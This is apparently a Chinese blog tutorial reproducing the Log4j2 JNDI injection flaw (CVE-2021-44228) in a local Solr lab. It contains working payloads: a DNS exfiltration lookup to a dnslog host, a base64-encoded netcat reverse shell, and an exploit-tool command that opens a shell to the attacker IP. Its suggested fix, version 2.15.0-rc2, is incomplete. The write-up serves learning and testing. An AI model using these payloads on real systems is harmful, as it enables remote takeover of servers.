漏洞复现之Apache Log4j2远程代码执行漏洞复现

(部分搜寻的资料用于自学,如有侵犯,联系可删! ———— by 611)

Apache Log4j2远程代码执行漏洞复现

[参考资料][!https://blog.csdn.net/hilaryfrank/article/details/121944757]

基础知识

1、JNDI

JNDI是指Java命名和目录接口(Java Naming and Directory Interface),它提供了一种机制来查找和访问各种命名和目录服务,可以理解为JNDI是应用程序和各种服务的一个中介,是一个包含很多服务的接口。举个简单易懂的例子,假如我们现在有一个网站,我们需要使用mysql、微信、支付宝等诸多服务,那么应用程序就可以通过JNDI接口去访问我们指定的某个服务,JNDI起到一个桥梁的作用,通过使用JNDI,应用程序可以访问和操作各种类型的服务,而无需了解底层实现细节。JNDI充当了一个中介角色,通过提供一种通用的API和框架,将应用程序与底层服务之间进行了解耦,使得应用程序逻辑更加简洁和清晰。

2、RMI

RMI是远程方法调用(Remote Method Invocation),它是一种用于实现分布式计算的Java API。当我们在一台计算机上运行Java程序时,所有的Java对象都存储在该计算机的内存中。但是,如果我们想要在不同的计算机之间共享这些Java对象,就需要使用远程方法调用(RMI)。因此通过使用RMI,程序员可以在不同的Java虚拟机上执行方法调用,就好像这些对象是本地的一样。这使得开发者能够构建高度可扩展、分布式的应用程序,这些应用程序可以跨越多个计算机和网络。RMI框架包含了必要的协议和工具,可以方便地将Java对象转换为网络传输格式,并将其从一个Java虚拟机传递到另一个Java虚拟机。这种技术广泛应用于企业级应用程序中,例如分布式系统、Web服务等。

3、LDAP

LDAP是轻量级目录访问协议(Lightweight Directory Access Protocol),我们可以理解成它是一个目录数据库,以树状的层次结构来存储数据。实际上LDAP是一个数据库,但是又不是一个数据库。说它是数据库,因为他是一个数据存储的东西。但是说他不是数据库,是因为他的作用没有数据库这么强大,而是一个目录。

4、JNDI注入

JNDI中有两个方法,分别为bind()lookup()

  • bind():作用是将名称绑定到对象里面。
  • lookup():作用是通过名字检索执行的对象。

JNDI注入简单来说是在JNDI接口在初始化时,如果lookup()方法的参数可控,攻击者就可以将恶意的url传入参数加载恶意的类。当攻击者把恶意的类绑定在RMI或LDAP中后,在客户端调用lookup远程获取远程类的时候,就会获取到恶意类,并对其进行实例化,从而加载我们的恶意代码。

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
        initialContext.lookup(uri);//获取指定的远程对象(这个位置导致的JNDI注入)
    }
}

JNDI注入利用常见的两种方法是:JNDI+RMI注入和JNDI+LDAP注入。

5、Codebase

Codebase是存储代码或者编译文件的服务,可以根据名称来返回对应的代码或者编译文件,如果名称是个类名,那么会返回类所对应的Class文件。

漏洞简介

Apache Log4j2是一个基于Java的日志记录工具,该日志框架被大量用于业务系统开发,用来记录日志信息。Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,攻击者仅仅需要向目标服务器发送精心构造的恶意数据触发Log4j2组件解析缺陷,就可以实现目标服务器任意命令执行,获取目标服务器权限。由于日志记录存在的普遍性,所以该漏洞具有危害程度高、利用难度低、影响范围大、后续影响广的特点。

形成原因

Log4j2漏洞是由于Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,然后在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容,以常见的payload${jndi:ldap:192.168.96.1:1099/exp}为例,在log4j2组件中发现日志包含${后,就会以冒号:作为分割,将表达式的内容分为两个部分,前面部分作为prefix(前缀),后面部分作为key(键),比如这个例子中prefix就是jndi,key就是ldap:192.168.96.1:1099/exp,在解析的时候,就调用jndi中的lookup方法去检索,lookup方法中传入的参数就是ldap:192.168.96.1:1099/exp,即:程序会通过ldap协议去访问192.168.96.1:1099这个地址,然后就会返回一个包含java代码的恶意class文件的地址,程序访问这个地址就会执行这个恶意的class文件,从而在本地加载和实例化(触发恶意代码),简述过程就是:

1、攻击则发送带有恶意Ldap内容的字符串,让服务通过log4j2打印。

2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。

3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。

4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。

漏洞编号

CVE-2021-44228

漏洞危害

远程代码执行,获取目标服务器权限等。

影响版本

Apache log4j2 <= 2.14.1

环境搭建

攻击机(打本地靶场):kali(IP地址:192.168.1.130)

漏洞检测

1、burpsuite安装log4j漏洞的检测插件log4j2burpscanner,配置好dnslog地址后,即可检测是否存在log4j2漏洞。

image-20230506201510930

2、在插件的配置选项中,配置好dnslog地址等信息。(以*.ceye.io平台为例)

image-20230506202052869

image-20230506211017419

3、开启burp代理,访问目标地址,将其发送至log4j漏洞检测插件,如果存在Log4j2漏洞,则会产生告警。(其实检测的原理就是相当于插件帮你手动去输入了payload。

image-20230506211145272

复现过程

1、启动靶场环境,查看端口并从浏览器进入靶场。

docker-compose up -d
docker-compose ps

image-20230427170436999

image-20230427194323081

image-20230427194447895

2、在dnslog平台上注册一个接收dnslog的域名,我们寻找注入点,发现/solr/admin/cores?处有参数可以传,因此我们构造payload,并进行请求。

/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.s4jcup.ceye.io}

image-20230507135426499

3、请求完成后,我们在后台查看dns日志记录,发现成功获取到了java的版本信息,证明漏洞的初步利用是成功的。

image-20230507135441587

4、我们的目的一定不仅仅只是知道java版本这么简单,我们可以尝试利用这个漏洞进行远程代码执行,实现反弹shell,从而控制服务器的权限。

反弹shell的命令为:(这里就直接将本机作为攻击服务器,反弹到自己这里)

nc -e /bin/bash 192.168.1.130 7777 0<&1 2>&1

5、我们选用了JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,下载地址为:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0,将反弹shell的命令进行Base64加密,然后运行工具。

  • 反弹shell的命令:

    nc -e /bin/bash 192.168.1.130 7777 0<&1 2>&1
    
  • 将上述命令进行Base64加密:

    bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMS4xMzAgNzc3NyAwPCYxIDI+JjE=
    

    image-20230509162500206

  • 开启终端输入命令,运行工具,生成反弹shell的payload。

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMS4xMzAgNzc3NyAwPCYxIDI+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.1.130"
    

    image-20230509163341279

6、开启端口监听。

image-20230507164641853

7、根据工具为我们生成的payload,对其进行访问,即:URL中jndi的参数值换成生成的恶意代码。

http://192.168.1.130:8983/solr/admin/cores?action=${jndi:ldap://192.168.1.130:1389/2jytvr}

image-20230509163635965

8、访问后,在工具端可以发现加载了恶意的类,监听的端口也成功地收到反弹,漏洞利用成功。

image-20230509163806463

image-20230509170649216

修复方案

升级到最新的安全版本:log4j-2.15.0-rc2。Apache Log4j2 官方已经发布了解决上述漏洞的安全更新,建议尽快升级到安全版本。

posted @ 2023-05-09 17:33  6小1  阅读(416)  评论(0编辑  收藏  举报